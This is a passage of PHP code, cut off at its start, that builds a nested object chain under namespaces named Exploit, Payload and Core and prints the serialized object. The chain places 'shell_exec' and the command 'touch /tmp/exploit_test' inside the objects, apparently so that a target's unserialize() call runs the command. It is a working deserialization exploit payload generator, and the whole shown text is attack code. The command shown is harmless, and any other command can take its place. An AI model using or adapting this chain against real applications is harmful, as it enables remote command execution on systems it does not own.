_payload = new \Payload\DataTransfer(); } } } namespace Payload { class DataTransfer { public $data; public function __construct() { $this->data['execute'] = new \Core\Command(); } } } namespace Core { class Command { protected $executor; protected $repository; public function __construct() { $this->executor = "shell_exec"; $this->repository = new \Core\Repository(); } } class Repository { protected $settings; public function __construct() { $this->settings['path'] = 'touch /tmp/exploit_test'; } } } namespace { $exploit = new Exploit\ExploitObject(); echo serialize($exploit); }